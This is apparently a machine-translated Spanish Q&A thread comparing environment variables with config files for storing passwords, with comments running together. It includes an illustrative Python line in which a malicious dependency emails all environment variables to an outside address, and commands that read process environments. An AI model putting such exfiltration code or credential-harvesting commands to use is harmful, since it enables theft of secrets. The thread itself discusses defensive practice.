Trabajo en algunas aplicaciones en rails, django (y un poco de php), y una de las cosas que comencé a hacer en algunas de ellas es almacenar la base de datos y otras contraseñas como variables de entorno en lugar de texto sin formato en ciertos archivos de configuración ( o en settings.py, para aplicaciones de django).
Al discutir esto con uno de mis colaboradores, sugirió que esta es una mala práctica, que quizás esto no sea tan perfectamente seguro como podría parecer a primera vista.
Entonces, me gustaría saber: ¿es esta una práctica segura? ¿Es más seguro almacenar contraseñas como texto sin formato en estos archivos (asegurándose, por supuesto, de no dejar estos archivos en repositorios públicos ni nada)?
Como se mencionó anteriormente, ambos métodos no proporcionan ninguna capa de "seguridad" adicional una vez que su sistema se ve comprometido. Creo que una de las razones más poderosas para favorecer las variables de entorno es el control de versiones : he visto demasiadas configuraciones de bases de datos, etc., almacenadas accidentalmente en el sistema de control de versiones como GIT para que cualquier otro desarrollador las vea (¡y vaya! yo también ...).
No almacenar sus contraseñas en archivos hace que sea imposible que se almacenen en el sistema de control de versiones.
fuente
Siempre que tenga que almacenar una contraseña, es inseguro. Período. No hay forma de almacenar una contraseña sin cifrar de forma segura. Ahora, cuál de las variables de entorno frente a los archivos de configuración es más "seguro" es quizás discutible. En mi humilde opinión, si su sistema está comprometido, realmente no importa dónde esté almacenado, un hacker diligente puede rastrearlo.
fuente
cat /proc/1/environ
por ejemplo.ps axe
.strace -e open ps axe
muestra que está obteniendo esta información/proc/[pid]/environ
, que tiene aplicación de permisos (por lo tanto, un montón deopen("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)
).ps
estaba establecido y felizmente le mostraría el entorno de casi todo).Lo siento, no tuve suficiente representante para comentar, pero también quería agregar que si no tiene cuidado, su shell también podría capturar esa contraseña en su historial de comandos. Por lo tanto, ejecutar algo como
$ pwd=mypassword my_prog
manualmente no es tan efímero como podría haber esperado.fuente
read -s MY_PASS_VAR
que protegerá tanto de búsquedas de historial de caparazones como de personas que practican surf de hombro.HISTCONTROL
está configurado enignorespace
oignoreboth
, por lo que técnicamente se puede activar / desactivar.Creo que, cuando sea posible, debería almacenar sus credenciales en un archivo gitignored y no como variables de entorno.
Una de las cosas a tener en cuenta al almacenar credenciales en variables ENV (entorno) frente a un archivo es que cualquier biblioteca o dependencia que utilice puede inspeccionar fácilmente las variables ENV.
Esto se puede hacer de forma maliciosa o no. Por ejemplo, un autor de la biblioteca podría enviar por correo electrónico los seguimientos de la pila más las variables ENV para su depuración (no es la mejor práctica, pero es posible hacerlo).
Si sus credenciales están en un archivo, es mucho más difícil acceder a ellas.
Específicamente, piense en un npm en node. Que un npm mire sus credenciales si están en el ENV es una simple cuestión de
process.ENV
. Si por otro lado están en un archivo, es mucho más trabajo.Si su archivo de credenciales está controlado por versión o no, es una cuestión aparte. La versión que no controla su archivo de credenciales lo expone a menos personas. No es necesario que todos los desarrolladores conozcan las credenciales de producción. Dado que esto está a la altura del principio de privilegio mínimo, sugeriría que git ignore su archivo de credenciales.
fuente
Depende de su modelo de amenaza.
¿Está tratando de evitar que sus usuarios esparzan contraseñas en todos sus sistemas de archivos donde es probable que se olviden y se manejen mal? Si es así, entonces sí, porque las variables ambientales son menos persistentes que los archivos.
¿Está tratando de protegerse contra algo malicioso que se dirige directamente a su programa? Si es así, entonces no, porque las variables de entorno no tienen el mismo nivel de control de acceso que los archivos.
Personalmente, creo que los usuarios negligentes son más comunes que los adversarios motivados, así que optaría por el enfoque de variable de entorno.
fuente
AFAICT, hay dos razones por las que las personas recomiendan almacenar secretos en variables de entorno:
Estos dos problemas se pueden resolver mejor. El primero debe resolverse con un gancho de confirmación de git que verifique cosas que parezcan contraseñas (por ejemplo, gitleaks ). Desearía que Linus construyera una herramienta de este tipo en el código fuente de la biblioteca git pero, por desgracia, eso no sucedió. (No hace falta decir que siempre se deben agregar archivos secretos
.gitignore
, pero necesita un gancho en caso de que alguien se olvide de hacerlo).Este último se puede resolver teniendo un archivo de secretos de la empresa global, que idealmente se almacena en una unidad compartida de solo lectura. Entonces, en Python, podría tener algo como
from company_secrets import *
.Más importante aún, como han señalado otros, es demasiado fácil piratear secretos almacenados en variables de entorno. Por ejemplo, en Python, el autor de una biblioteca podría insertar
send_email(address="[email protected]", text=json.dumps(os.environ))
y luego estará listo si ejecuta este código. La piratería es mucho más desafiante si tiene un archivo en su sistema llamado~/secret_company_stuff/.my_very_secret_company_stuff
.Solo usuarios de Django:
Django (en modo DEBUG) muestra el valor bruto de una variable de entorno en el navegador si hay una excepción (en modo DEBUG). Esto parece muy inseguro si, por ejemplo, un desarrollador inicia la
DEBUG=True
producción por accidente . Por el contrario, Django variables de configuración de contraseña Ofuscación mediante la búsqueda de las cuerdasAPI
,TOKEN
,KEY
,SECRET
,PASS
oSIGNATURE
en el marco de lasettings.py
nombres de las variables de archivo.fuente